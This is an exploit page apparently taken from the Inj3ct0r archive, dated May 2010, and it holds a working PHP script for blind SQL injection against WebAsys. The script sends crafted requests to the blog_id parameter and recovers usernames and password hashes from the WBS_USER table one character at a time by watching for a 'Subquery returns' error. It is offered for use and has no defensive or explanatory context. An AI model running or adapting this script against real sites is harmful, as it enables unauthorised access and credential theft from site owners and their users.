WebAsys blind SQL Injection Exploit
Posted on 24 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>WebAsys blind SQL Injection Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================== WebAsys blind SQL Injection Exploit =================================== <?php /** * WebAsys blindSQL-inj exploit * @author: zsh.shell */ if($argc !== 4) { echo "####################################### "; echo "GET username by id: php ".$argv[0]." url id u "; echo "GET password by id: php ".$argv[0]." url id p "; echo " Example: php ".$argv[0]." http://site.com/ 1 p "; die("####################################### "); } $url = $argv[1]."index.php?ukey=news&blog_id="; $id = $argv[2]; $me = $argv[3]; if($me == 'u') { $me = "lower(U_ID)"; $chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z); for($i=1;$i<=25;$i++) { $vuln = $url."if((select+length(U_ID)+FROM+WBS_USER+where+C_ID=1)=".$i.",1,(select+1+union+select+2))"; $result = file_get_contents($vuln); if(!preg_match("/Subquery returns/", $result)) { $much = $i; break; } } } elseif($me == 'p') { $me = "U_PASSWORD"; $chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f); $much = 32; } else die("Wrong exploit parametr". $me ." "); $chars = array_map("ord", $chars); for($i=1;$i<=$much;$i++) foreach($chars as $j) { for($k=0;$k<=strlen($out);$k++) echo chr(8); $vuln = $url."if(ascii(substring((select+".$me."+from+WBS_USER+where+C_ID=".$id."),".$i.",1))=".$j.",1,(select+1+union+select+2))"; $result = file_get_contents($vuln); $out = "[".chr($j)."] :> ".$res; if(!preg_match("/Subquery returns/", $result)) { $res .= chr($j); break; } echo $out; } if(substr(strtolower(PHP_OS),0,3) == 'win') system("cls"); else system("clear"); echo "[+] Result: ".$res." "; ?> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>